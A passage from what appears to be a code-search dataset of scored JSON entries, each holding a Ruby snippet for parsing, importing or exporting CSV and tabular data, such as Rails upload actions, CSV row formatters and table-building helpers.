source.split(\"\\n:\").each(&:strip!).each do |line|\n line = \":#{line}\" unless line =~ %r{^:} # prepend lost : via split\n\n if line.match(/\\A:86:/)\n if field = fields.last\n field.add_meta_data(line)\n end\n else\n field = Field.parse(line)\n self.fields << field unless field.nil?\n end\n end\n end", "title": "" }, { "docid": "2a71509de38bcf1485913e99264a0d91", "score": "0.5100717", "text": "def export_csv\n export_string = \"#{@id},#{type_string},#{@name.gsub(/[\\,,\\s]/,\"\")},\"\n @details.each{|k,v| export_string << \"#{k}=#{v};\".gsub(/[\\,,\\s]/,\"\") }\n export_string\n end", "title": "" }, { "docid": "2a71509de38bcf1485913e99264a0d91", "score": "0.5100717", "text": "def export_csv\n export_string = \"#{@id},#{type_string},#{@name.gsub(/[\\,,\\s]/,\"\")},\"\n @details.each{|k,v| export_string << \"#{k}=#{v};\".gsub(/[\\,,\\s]/,\"\") }\n export_string\n end", "title": "" }, { "docid": "126b663642dfdc2aa73a81a8561b673e", "score": "0.50942415", "text": "def upload_csv\n @title=\"Import Users\"\n if request.post?\n CSV.parse(params[:file].read, :encoding=>\"UTF-8\") do |row|\n row = row.collect(&:to_s).collect(&:strip).collect{|s| s.gsub(\"\\\"\", \"\")}\n # row = row[0].to_s.split(\"\\t\").collect(&:strip)\n\n\t Businessnew.create({:address=>row[3], :category=>row[10], :city=>row[4], :id=>row[0],\n :latitude=>row[9], :longitude=>row[8], :name=>row[1], :phone=>row[7],\n :postal_code=>row[6].split(\" \").join(''), :state=>row[5], :url=>row[2]}) if Businessnew.present?\n\n#force_encoding(\"UTF-8\")\n#.encode(\"ISO-8859-1\")\n#.force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n#force_encoding(\"BINARY\")\n\n # CsvBusiness.create({\n # :address=>row[5],\n #:city=>row[6],\n #:company_name=>row[4],\n #:contact_name=>row[9],\n #:employee=>row[12],\n #:fax_number=>row[15],\n #:gender=>row[10],\n # :major_division_description=>row[0],\n # :phone_number=>row[14],\n # :province=>row[7],\n # :sales=>row[13],\n # :sic_2_code_description=>row[1],\n # :sic_4_code=>row[2],\n # :sic_4_code_description=>row[3],\n #:title=>row[11],\n #:zip_code=>row[8]\n # })\n\n=begin\n#20130615051307\n\t\tStoreTiming.create({:id=>row[0], :business_id=>row[1], :mon_from=>row[2], :mon_to=>row[3], :tue_from=>row[4], :tue_to=>row[5], :wed_from=>row[6], :wed_to=>row[7], :thur_from=>row[8], :thur_to=>row[9],\n :fri_from=>row[10], :fri_to=>row[11], :sat_from=>row[12], :sat_to=>row[13],\n :sun_from=>row[14], :sun_to=>row[15]})\n=end\n end\n\n flash[:notice] = \"Uploading completed.\"\n redirect_to root_path\n else\n render :layout => false\n end\n\n end", "title": "" }, { "docid": "67595e3080bde33d4175aa6f6fc3da3b", "score": "0.50900656", "text": "def parse\n @file_data.each {|line|\n h = {}\n data_elements = line.split('|').collect(&:strip)\n #LastName | FirstName | MiddleInitial | Gender | FavoriteColor | DateOfBirth\n @data_collection << {:last_name => data_elements[0], :first_name => data_elements[1], :middle_initial => data_elements[2], :gender => (data_elements[3] == 'M') ? 'Male' : 'Female', :favorite_color => data_elements[4], :dob => data_elements[5].gsub('-', '/'), :dob_year => data_elements[5][-4,4]}\n }\n end", "title": "" }, { "docid": "3413be27a818fda0794868adda548d4e", "score": "0.50879276", "text": "def stripe_sensetive_fields\n %i(country_id company_tax_id company_business_type company_street_address\n company_zip company_city bank_name company_bic company_iban)\n end", "title": "" }, { "docid": "150ad29d96f6b0837d69f66ba74db7c6", "score": "0.5076351", "text": "def casino_table_fields\n [ :title, :city, :county, :state, :district, :owner_type, :comments ]\n end", "title": "" }, { "docid": "4a360481e3be7d14631ae9abc28fe979", "score": "0.50656646", "text": "def test_parse_headers\n tmpdbfile = Tempfile.new('tmp.db')\n args = [\"--header\", \n \"--source\", \"header_test.csv\", \n \"--save-to\", tmpdbfile.path, \n \"--ifs=\" \",\",\n \"--table-name\",\"header_test\"]\n Csvql.run(args)\n\n db = SQLite3::Database.new tmpdbfile.path\n headers_from_db = db.execute2('select * from header_test;')[0]\n headers_from_file = File.open('header_test.csv').each_line.first.gsub(/\\n/,'').split(',')\n\n #binding.pry\n assert_equal headers_from_db, headers_from_file\n end", "title": "" }, { "docid": "557e20ff946636a785706f501e8f3d53", "score": "0.50633204", "text": "def readSource\n if @source_in.nil?\n @source_in = open @dir+Pathname.new(@source)\n # fields titles\n head=@source_in.readline.strip\n @heads=head.split(/\\s*,\\s*/)\n @hoplang_cols_order = @heads.join ','\n end\n\n begin\n line=@source_in.readline.strip\n datas=line.split(/\\s*,\\s*/)\n\n i=0\n value={}\n @heads.each {|h|\n value[h]=datas[i]\n i+=1\n }\n value['__hoplang_cols_order'] = @hoplang_cols_order\n # now store variable!\n #varStore.set(@current_var, value)\n return value\n rescue EOFError\n hop_warn \"EOF.....\\n\"\n #varStore.set(@current_var, nil)\n return nil\n end\n line\n end", "title": "" }, { "docid": "7fe690c321dd7b9cb50604ed16ea5029", "score": "0.5061082", "text": "def import\n\n output = ''\n\n country_src = 'tmp/Countries.txt'\n \n rs = File.open(country_src)\n rs.gets # <-- remove first line (columns header) \"CountryID:Title\"\n countries = {}\n City.delete_all\n Region.delete_all\n Country.delete_all\n\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n countries[row[0]] = {:name => row[1], :regions => {}, :model => nil}\n c = Country.new\n c.iso = row[0]\n c.name = row[1]\n c.save\n countries[row[0]][:model] = c\n end\n\n regions_src = 'tmp/Regions.txt'\n \n rs = File.open(regions_src)\n rs.gets # <-- remove the 1st line (header row) #CountryID:RegionID:Title\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n c = countries[row[0]][:model]\n r = Region.new\n r.iso = row[1]\n r.country_id = c.id\n\n # magic trick to ignore UTF-8 chars for now.\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n r.name = ic.iconv(row[2] + ' ')[0..-2]\n r.save\n countries[row[0]][:regions][row[1]] = r\n\n end\n\n cities_src = 'tmp/Cities.txt'\n \n rs = File.open(cities_src)\n rs.gets # <-- remove 1st row (header) #CountryID:RegionID:Title:Latitude:Longitude\n while(row = rs.gets)\n row = row.split(':')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n row[3].gsub!(/\\n/, '')\n row[4].gsub!(/\\n/, '')\n \n r = countries[row[0]][:regions][row[1]]\n if (!r.nil?) \n c = City.new\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n c.name = ic.iconv(row[2] + ' ')[0..-2] \n c.region_id = r.id\n c.lat = row[3]\n c.lng = row[4]\n c.save\n end\n end\n\n output += '<h1>Import complete</h1>'\n render(:text => output, :layout => false)\n end", "title": "" }, { "docid": "979332bf24576af0d65bb2964034a629", "score": "0.504725", "text": "def import_names\n @statuss = Sample.all.distinct.pluck(:status)\n @programas = Sample.all.order('programa ASC').distinct.pluck(:programa)\n @clients_name = Sample.all.distinct.pluck(:client_id).collect { |client_id| Client.find(client_id).name }.sort.uniq\n @clients_city = Sample.all.distinct.pluck(:client_id).collect { |client_id| Client.find(client_id).city }.sort.uniq\n @clients_state = Sample.all.distinct.pluck(:client_id).collect { |client_id| Client.find(client_id).state }.sort.uniq\n @matrizes = Sample.all.order('matriz ASC').distinct.pluck(:matriz)\n @areas_analiticas = Sample.all.order('area_analitica ASC').distinct.pluck(:area_analitica)\n @rgs = Sample.all.order('rg ASC').distinct.pluck(:rg)\n @codigos_rejeicoes = RejectionReason.all.order('codigo ASC').distinct.pluck(:codigo)\n end", "title": "" }, { "docid": "55b7ad38f38a3f9e0ddcfd907e751f28", "score": "0.50460905", "text": "def data(table)\n CSV.parse(%x[mdb-export CRBE.mdb #{table}])[1..-1]\nend", "title": "" }, { "docid": "9089c2eaa41ddd4b12e09272d1335eb9", "score": "0.50411874", "text": "def guess_source_type\n\t\ttable = \"\"\n\t\tif @data_source == \"uniteu\"\n\t\t\t@json[:tables].each do |t|\n\t\t\t\tif @file.downcase.match(t)\n\t\t\t\t\ttable << t\n\t\t\t\tend\n\t\t\tend\n\t\telsif @data_source == \"rpro\"\n\t\t\ttype = case File.basename(@file)\n\t\t\t\twhen /^SO/ then table << \"SO\"\n\t\t\t\twhen /^ECStyle/ then table << \"ECStyle\"\n\t\t\t\twhen /^ECCustomer/ then table << \"ECCustomer\"\n\t\t\t\twhen /^CUST/ then table << \"CUST\"\n\t\t\t\twhen /^CatTree/ then table << \"CatTree\"\n\t\t\t\telse table << \"unknown\"\n\t\t\tend\n\t\tend\n\t\ttable\n\tend", "title": "" }, { "docid": "44aa82a4abb5a1e15929155f50ad7d3b", "score": "0.5037342", "text": "def split_header\n self.fields = raw_source.split(HEADER_SPLIT)\n end", "title": "" }, { "docid": "b492c2419ffabe67ee69dec8a0cf7e3e", "score": "0.502474", "text": "def header_fields\n @csv.headers\n end", "title": "" }, { "docid": "c93b8b3075366f74c7fac30db0237b2b", "score": "0.50159234", "text": "def load_titles_from_erp\n # Expects pwd to be root of the current repo\n filename = File.expand_path('data/titles_from_erp.csv', Dir.pwd)\n h = {}\n CSV.foreach(filename, { col_sep: \"\\t\", headers: :first_row }) do |row|\n if row['ProductID'].nil?\n raise \"Please remove space from ProductID column header in csv file #{filename}\"\n end\n h[row['ProductID'].downcase] = {\n date_code: row['ProductID'].downcase,\n product_identity_id: row['ProductIdentityID'],\n title: row['ProductTitle']\n }\n end\n h\n end", "title": "" }, { "docid": "679e945b6900b98ac103e7a702071f79", "score": "0.5012761", "text": "def csv_file_header_array\n\t\tScreeningDatumUpdate.expected_column_names\n\tend", "title": "" }, { "docid": "972118313245c11e33ea0a26ed66c49a", "score": "0.50083023", "text": "def to_csv\n # id.to_s << \",\" << last_name << \",\" << first_name << \",\" << email << \",\" << birthdate.to_s\n end", "title": "" }, { "docid": "0194cc087624bae341cb5296526384b8", "score": "0.4991063", "text": "def contents\n entry_sep = \" ; \"\n contents = []\n data.fields(\"505\").each do |f|\n entry = format_datafield(f)\n if linked_field?(f)\n entry += \" = \"\n entry += format_datafield(get_linked_field(f))\n end\n contents << entry\n end\n contents.join entry_sep\n end", "title": "" }, { "docid": "c6c640f47270ffce32860bea311468c3", "score": "0.49908412", "text": "def contents\n entry_sep = ' ; '\n contents = []\n data.fields('505').each do |f|\n\n entry = format_datafield(f)\n if has_linked_field?(f)\n entry += \" = \"\n entry += format_datafield(get_linked_field(f))\n end\n contents << entry\n end\n contents.join entry_sep\n end", "title": "" }, { "docid": "db00e4b7e1b6587054e6dfa000d54836", "score": "0.49892738", "text": "def source_patient_info\n spi = {}\n spi[:name] = name\n spi[:gender] = registration_information.gender.code\n spi[:date_of_birth] = registration_information.date_of_birth.to_s(:brief)\n spi[:source_patient_identifier] = patient_identifier\n spi\n end", "title": "" }, { "docid": "a5f82f15b72e4959c0ebeeed1981e42b", "score": "0.49774545", "text": "def to_csv\n relocateVal = \"no\"\n relocateVal = @relocate.downcase() if !@relocate.nil?\n\n availableDate = nil\n availableDate = @date_available if @date_available =~ /^[0-9]{2,}\\/[0-9]{2,}\\/[0-9]{4,}$/\n\n return CSV.generate({:force_quotes => true}) do | csv |\n csv << [\n @first_name,\n @last_name,\n @street_address,\n @city,\n @state_province,\n \"US\",\n @zipcode,\n \"\",\n @email,\n \"\",\n \"\",\n \"\",\n \"\",\n \"\",\n @mil_rank,\n @mil_branch,\n @clearance,\n @education_level,\n relocateVal,\n availableDate\n ]\n end\n end", "title": "" }, { "docid": "cb8fd2528f48ebc0b5ccd27d081ab61d", "score": "0.49758673", "text": "def formatted_source_file(source_file); end", "title": "" }, { "docid": "a30727e88161d473585ca635f1aeac9d", "score": "0.49742687", "text": "def customer_revenue\n infile, result, *others = params\n\n country_part = \"\"\n country_part << \"#{others[0]}-\" if others[0]\n country_part << \"#{others[1]}-\" if others[1]\n out_file_name = \"#{country_part}customer-revenue-per-year-and-type.csv\"\n\n puts; print \"Creating table from spares and repairs revenue for customers \"+\n \"in #{country_part.chop}\"\n\n rp_order_type = %w{ ZRN ZRK }\n sp_order_type = %w{ ZE ZEI ZO ZOI ZG ZGNT ZRE ZGUP }\n order_type = sp_order_type + rp_order_type\n\n header = \"c19,c20,BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-SP-R'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-RP-R'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-R'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-SP-O'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-RP-O'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-O'END\"\n\n cols = \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-SP-R':+n10 if #{sp_order_type}.index(c1)END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-RP-R':+n10 if #{rp_order_type}.index(c1)END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-R':+n10 if #{order_type}.index(c1)END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-SP-O':+1 if #{sp_order_type}.index(c1)END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-RP-O':+1 if #{rp_order_type}.index(c1)END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+\"+\n \"'-O':+1 if #{order_type}.index(c1)END\"\n\n sum = \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+'-SP-R'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+'-RP-R'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+'-R'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+'-SP-O'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+'-RP-O'END,\"+\n \"BEGIN(c0.scan(/\\\\d+\\\\.\\\\d+\\\\.(\\\\d{4})/).flatten[0]||'')+'-O'END\"\n\n Sycsvpro::Table.new(infile: infile,\n outfile: out_file_name,\n header: header,\n key: \"c19,c20\",\n cols: cols,\n nf: \"DE\",\n sum: \"top:#{sum}\",\n sort: \"2\").execute\n\n puts; puts \"You can find the result in #{out_file_name}\"\nend", "title": "" }, { "docid": "68264f7cf4fc7ec6c1e97d69a29fd3b3", "score": "0.4972644", "text": "def to_table\n headers = fields.map { |field| field.label.downcase }\n body = fields.map { |field| field.to_s.downcase }\n\n [headers, body]\n end", "title": "" }, { "docid": "1a3078ab2516f9d697df40d02d7086f4", "score": "0.49536416", "text": "def process_str_file(file_array)\n column_headings = []\n file_array.each do |f|\n\n #File.open(params[:inputfile],\"r\") do |file|\n # while (f = file.gets)\n next if f =~ /^#/ # ignore lines that start with a hash - comments\n f.strip! # remove any whitespace, linefeeds, etc.\n\n # if this line has the column headings, extract and do the next line\n if f =~ /^Order/\n column_headings = f.split(/\\t/)\n next\n end\n\n # Split the biomart dump file on tabs\n the_data = f.split(/\\t/)\n\n case the_data[2]\n when 'TRAIT'\n load_hjj_trait_data(column_headings,the_data)\n when 'SNP'\n load_hjj_snp_data(column_headings,the_data)\n when 'STR'\n load_hjj_str_data(column_headings,the_data)\n end\n\n #end # end of while loop\n end # of File.open\n \n end", "title": "" }, { "docid": "abcef5ebbb68ae783dac129d1760673b", "score": "0.49517316", "text": "def csv_header\n #empty by default\n []\n end", "title": "" }, { "docid": "abcef5ebbb68ae783dac129d1760673b", "score": "0.49517316", "text": "def csv_header\n #empty by default\n []\n end", "title": "" }, { "docid": "4be5c863775e4d253adaca8546914be6", "score": "0.4949526", "text": "def create_lookup_table\n File.open(source).each_with_index do |line|\n next if line.chomp.empty?\n\n values = unstring(line).chomp.split(';')\n\n next if values.empty?\n\n @joiners.each do |joiner|\n key = values[joiner.join[0]]\n joiner.lookup[:rows][key] = []\n\n joiner.cols.each do |i|\n joiner.lookup[:rows][key] << values[i]\n end\n end\n\n end\n end", "title": "" }, { "docid": "d593abfb65068a39315381e13c2cab4e", "score": "0.49483788", "text": "def to_csv\n fields = []\n\n fields << '\"' + key.to_s + '\"'\n fields << '\"' + scientific_name + '\"'\n fields << '\"' + (locality || '') + '\"'\n fields << '\"' + (resource ? resource.name : '') + '\"'\n fields << '\"' + (georef? ? 'TRUE':'FALSE') +'\"'\n fields << '\"' + (date_collected ? date_collected.to_s : '') + '\"'\n fields << '\"' + (latitude ? latitude.to_s : '') + '\"'\n fields << '\"' + (longitude ? longitude.to_s : '') + '\"'\n fields << '\"' + (colcode ? colcode.name : '') + '\"'\n fields << '\"' + (instcode ? instcode.name : '') + '\"'\n fields << '\"' + (catalogue_no ? catalogue_no.to_s : '') + '\"'\n\n fields.join(CSV_SEPARATOR)\n end", "title": "" }, { "docid": "639128f84d2d65321ae7ad9149a1ffe0", "score": "0.49482605", "text": "def details_data\n# column_widths = @settings.collect{|s| pdf.width_of(s[:header].last, :size => pdf.font_size) + 5 }\n\n font_size = pdf.font_size\n padding = (cell_padding + cell_border_width)*2\n @rows.collect do |r|\n @settings.collect{|s|\n content = \"\"\n align = :left\n contents = []\n \n if s[:header].first == \"remark\"\n content = r.remark.to_s\n contents += content.split(/\\r?\\n/)\n elsif s[:header].first == \"revision_no\"\n case r\n when HeaderRow\n content = r.latest_revision_no.to_s\n when RevisionRow\n content = r.rev_no.to_s\n when DetailRow\n content = r.revision_row.rev_no.to_s\n end\n contents << content\n else\n field = Field.field_by_row(s[:header].first, r)\n actual_row = Field.row_by_field(field, r)\n content = Field.value_by_field_name(field, actual_row) unless actual_row.nil?\n contents += content.to_s.split(/\\r?\\n/)\n\n case field\n when Fields::Formula, Fields::Accumulation\n align = :right\n else\n case field.custom_field\n when CustomFields::NumericField\n align = :right\n when CustomFields::DateTimeField\n align = :center\n end\n end\n end\n \n max_content_width = contents.collect{|c| pdf.width_of(c, :size => font_size) }.max\n\n width = max_content_width.to_i + padding\n \n {\n :content => content,\n :align => align,\n :width => width\n }\n }\n end\n end", "title": "" }, { "docid": "fcd592906b14bc9ff4841464c29f2d0a", "score": "0.49451727", "text": "def family_data_line(member, options = {})\n formatted = family_data_formatted(member)\n location_string = options[:location].nil? ? '' : description_or_blank(member.location)\n name_column = formatted[:couple_w_status] + location_string\n return [ name_column, smart_join(formatted[:emails], \"\\n\"), smart_join(formatted[:phones], \"\\n\") ]\n end", "title": "" }, { "docid": "adca33135b540f0c9a25899dedbeab36", "score": "0.49398446", "text": "def record()\n street = @street_name_source.record() \n house_number = @house_number_source.record()\n postal_code_and_town = @postal_town_source.record()\n # Very fragile / relies on proper input data file:\n postal_code, town = postal_code_and_town.match(/(\\w+)\\s+(.+)/)[1,2]\n Address.new( house_number, street, postal_code, town )\n end", "title": "" }, { "docid": "b8c0458c0e776222b40d229653bc4ee8", "score": "0.4938665", "text": "def source_name_method\n \"#{accession_number} (#{report_date})\"\n end", "title": "" }, { "docid": "9186af7619bb7d31d2723722aecd0bea", "score": "0.49383405", "text": "def to_csv\n [@record_id, @email, @phone, @name_prefix, @first_name, @middle_name, @last_name, @name_suffix, @name_phonetic]\n end", "title": "" }, { "docid": "f2aa0497972e7d9c5685ea0053441279", "score": "0.49336144", "text": "def parse_input_string(tsv_string)\n rows = tsv_string.split(/\\r\\n/)\n row_raw_data = rows.map do |row|\n row.gsub!(/\"/, '')\n row.split(\"\\t\")\n end\n\n @header_row = row_raw_data[0]\n @data_rows = row_raw_data[1..-1]\n\n @header_row.each.with_index do |col_key, i|\n if STATIC_KEYS.include?(col_key)\n @header_object[col_key] = i\n else\n date = parse_date(col_key)\n @header_row[i] = date\n end\n end\n\n format_data\n end", "title": "" }, { "docid": "91520f5c03e7c8f1460b292e23978095", "score": "0.4918991", "text": "def csv_hash\n {\n vendor: self.vendor_name,\n name: self.name,\n url: self.url,\n enable_proxy: self.access == 2 ? 1 : 0,\n description: self.description,\n more_info: '',\n enable_new: self.new_database.to_i,\n enable_trial: self.trial_database.to_i,\n types: self.resources.pluck(:name).join(';'),\n keywords: '',\n target: 0,\n slug: '',\n best_bets: self.curated.pluck(:name).join(';'),\n subjects: self.subjects.pluck(:name).join(';'),\n desc_pos: 1,\n lib_note: 0,\n enable_popular: self.popular.to_i,\n enable_hidden: 0,\n internal_note: '',\n owner: '',\n resource_icons: '',\n thumbnail: '',\n content_id: self.libguides_id\n }\n end", "title": "" }, { "docid": "eaa8f83b0f148e82e3a8eefaf0e17fc2", "score": "0.49182352", "text": "def row_name_columns\n [:appendix, :taxon, :term, :unit, :country]\n end", "title": "" }, { "docid": "8d8d9d13e954147624eb7121d463863a", "score": "0.49173498", "text": "def add_attributes(source,attribute,data_type)\n file = File.open(source, \"r+\")\n file.each do |line|\n while line == \" create_table :#{@scaffold_name}s do |t|\\n\" do\n pos = file.pos\n rest = file.read\n file.seek pos\n file.write(\" t.#{data_type} :#{attribute}\\n\") \n file.write(rest)\n break\n end\n end\n end", "title": "" }, { "docid": "195be2245701bd50e85dc98b9cb00795", "score": "0.4911689", "text": "def get_data(file_name)\n @all_data=[]\n\n CSV.foreach(file_name, :headers => true) do |row|\n id=row[\"id\"]\n title=(row[\"title\"]).tr(\" \",\"_\")\n year=row[\"year\"]\n synopsis=row[\"synopsis\"]\n rating=row[\"rating\"]\n genre=row[\"genre\"]\n studio=row[\"studio\"]\n\n @all_data.push( {:ID => id, :Title => title, :Year => year, :Synopsis => synopsis, :Rating => rating, :Genre => genre, :Studio => studio} )\n end\n @all_data\nend", "title": "" }, { "docid": "2380e6990c842289a0d5d8e2ab406759", "score": "0.4903086", "text": "def loadCSV\n csvFile = File.open(\"app/assets/csv/test.csv\", \"r\") #Open file with readpermissions\n if csvFile #if file was successfully opened \n csvRowArray = IO.readlines(csvFile) # Turn each row into an array element\n rowId=1 #0 is the Header Row, 1 is the first dataset.\n recordsArray = Array.new(csvRowArray.size-1)\n while csvRowArray[rowId] do #for each row that exists \n rowEntry = csvRowArray[rowId]\n rowEntry.gsub!(/\"/,'') # Remove all the '\"'s\n wordArr = rowEntry.split(\",\") #Split the array on ','s into a new array \n newRecord = Record.new\n newRecord.REF_DATE = wordArr[0]\n newRecord.GEO = wordArr[1]\n newRecord.DGUID = wordArr[2]\n newRecord.Sex = wordArr[3]\n newRecord.Age_group = wordArr[4]\n newRecord.Student_response = wordArr[5]\n newRecord.UOM = wordArr[6]\n newRecord.UOM_ID = wordArr[7]\n newRecord.SCALAR_FACTOR = wordArr[8]\n newRecord.SCALAR_ID = wordArr[9]\n newRecord.VECTOR = wordArr[10]\n newRecord.COORDINATE = wordArr[11]\n newRecord.VALUE = wordArr[12]\n newRecord.STATUS = wordArr[13]\n newRecord.SYMBOL = wordArr[14]\n newRecord.TERMINATED = wordArr[15]\n newRecord.DECIMALS = wordArr[16]\n newRecord.save\n puts rowId\n rowId = rowId+1 \n end\n return recordsArray\n else #file not opened\n puts \"Unable to open file\" \n return \n end \n end", "title": "" }, { "docid": "e5a2f0b8bf5a92f3be08626a661fb56d", "score": "0.48988375", "text": "def timeSeriesSingleSourceMultipleAttributes(time1,time2,dataSources,attributes)\n @result = nil\n if attributes != nil\n attrList = \"MultipleColumnPrefixFilter(\"\n attributes.each do |x|\n if attrList != \"MultipleColumnPrefixFilter(\"\n attrList = attrList << \",\"\n end\n attrList = attrList << \"'\" << x << \"'\"\n end\n attrList = attrList << ')\"'\n puts attrList\n if(time1 && time2 && dataSources)\n @result = @table.scan(start_row: time1, stop_row: time2, columns:dataSources,filter_String:attrList) \n end\n end \n return @result \n end", "title": "" }, { "docid": "071c29102263d21077f623ad9e0c80c2", "score": "0.48984745", "text": "def parse_table; end", "title": "" }, { "docid": "33c59bffa2fabdf8d2d8380761d3e804", "score": "0.48949865", "text": "def create_first_name_from_mailing_name\n\t\t# remove any salutations first\n\t\tbad_char_array = [\"Miss\", \"Ms.\", \"Mr.\", \"Mrs.\", \"Dr.\", \"MRS\"]\n\t\trows = @input_file.split(\"\\r\")\n\t\t# open the output file and add the \"write\" param\n\t\tnew_header = rows.first + \"\\tfirst_name\\n\" \n\t\t@output_file << new_header\n\t\trows.each do |line|\n\t\t\t# skip header row\n\t\t\tnext if rows.index(line) == 0\n\t\t\ttabs = line.split(\"\\t\")\n\n\t\t\tmailing_name = tabs[1]\n\t\t\t# remove any salutation and unnecessary quotes and remove spaces\n\t\t\tbad_char_array.each{|b| mailing_name = mailing_name.gsub(\"\\\"\", \"\").gsub(b, \"\").strip}\n\t\t\t# find first name in mailing name array by finding first word in string\n\t\t\tfirst_name = mailing_name.split(\" \").first\n\t\t\t# put first name at end of row array\n\t\t\ttabs << first_name\n\n\t\t\t# put file back together\n\t\t\tnew_row = tabs.join(\"\\t\")+\"\\n\"\n\t\t\t# inserting new rows into new output file\n\t\t\t@output_file << new_row\n\t\tend\n\t\t@output_file.close\n\t\tputs \"The file /\" + @output_filename + \" is ready\"\n\tend", "title": "" }, { "docid": "9c159505a651d07d3f0699b17f7158eb", "score": "0.48894203", "text": "def normalise_source_header(header_name)\n # Run regex to see if it matches expected format\n source_match = self.class.source_header_regex.match header_name\n\n if source_match\n # Set header name as source#part where:\n # # is num\n # part is ref, date, place or orig_reference\n norm_header_name = 'source' + source_match[1]\n\n # Add last part of source string (date, place, ref) to header if available\n # Default is orig_reference\n suffix = source_match[2] || 'orig_reference'\n norm_header_name += suffix\n\n return norm_header_name\n end\n nil\n end", "title": "" }, { "docid": "26719f2be90de26e17eb2f1771cf3768", "score": "0.48889646", "text": "def parse_flights\n\t\trows.each do |row|\n\t\t\thash = {}\n\t\t\trow.each_with_index do |attribute, i|\n\t\t\t\tif i < row.length-1 \n\t\t\t\t\thash[columns[i]] = attribute\n\t\t\t\tend\t\t\n\t\t\tend\n\t\t\toutput << hash\n\t\tend \n\t\toutput\n\tend", "title": "" }, { "docid": "8282a8aee87dcb88a3775e42bc0c38ef", "score": "0.488748", "text": "def entry_to_csv index\n\t\tcsv_string = \"\\\"\" + @year + \"\\\",\\\"\" + @edition + \"\\\",\" + contents[index].to_csv\n\t\treturn csv_string\n\tend", "title": "" }, { "docid": "5da0213a7b2039428b2d2c3b0f898f4f", "score": "0.4883231", "text": "def prepare_data \n table=Array.new\n flag=true\n flag2=false\n count=0 \n @reader.pages.each_with_index do |page,i| \n break if i >= @page \n #(?!([a-zA-Z\\-0-9]+))\n #text = page.text.gsub(/\\n\\s{1}+[0-9]{1}+,[0-9]\\s{1}+/,' ')\n rows=page.text.split(/\\n/) \n rows.each_with_index do|row,ind|\n temp=row.split(/\\s{2}+/)\n \n if temp.length == 1 && temp[0].include?('-')\n flag2=true\n rows[ind+1].insert(0, temp[0]) if !rows[ind+1].nil?\n flag2=false;\n end\n if temp.length >9\n temp.delete_at(1) \n end \n if temp.length ==9\n table << temp unless (temp.empty? || row.include?(\"Portfolio Name\"))\n \n end\n if flag && row.include?(\"Portfolio Name\")\n non_standardized_header row\n flag=false\n end\n end\t \n end \n return table\n end", "title": "" }, { "docid": "f9a822b6f0c6450c020f580071054817", "score": "0.488224", "text": "def clean_ib_source\n infile, result, *others = params\n outfile = \"#{File.basename(infile, '.*')}-clean.csv\"\n\n puts; print \"Cleaning #{infile}\"\n\n cols = \"14:s14.scan(/^0*(\\\\d+)/).flatten[0],\"+\n \"38:s38.scan(/^0*(\\\\d+)/).flatten[0],\"+\n \"46:s46.scan(/^0*(\\\\d+)/).flatten[0]\"\n\n calculator = Sycsvpro::Calculator.new(infile: infile,\n outfile: outfile,\n header: \"*\",\n rows: \"1-#{result.row_count}\",\n cols: cols).execute\n\n puts; puts \"You can find the result in '#{outfile}'\"\nend", "title": "" }, { "docid": "7da392136fc9e05fe81dae1fa2be48cb", "score": "0.48747414", "text": "def extract_countries_and_regions\n infile, result, *others = params\n out_file_name = \"countries_and_regions.csv\"\n\n puts; print \"Extracting countries and regions from #{infile}\"\n\n col_filter = \"COUNTRIES:4-6+REGIONS:18\"\n\n Sycsvpro::Collector.new(infile: infile,\n outfile: out_file_name,\n cols: col_filter).execute\n\n puts; puts \"You can find the collection result in #{out_file_name}\"\nend", "title": "" }, { "docid": "26ce59364bf169609add9028ac961a8c", "score": "0.4873895", "text": "def format_csv()\n require 'iconv'\n \n str = self.to_s\n \n str.gsub!(\",\", \"\")\n str.gsub!(10.chr, \" - \")\n str.gsub!(13.chr, \"\")\n str = Iconv.conv('ISO-8859-1', 'utf-8', str)\n \n return str\n end", "title": "" }, { "docid": 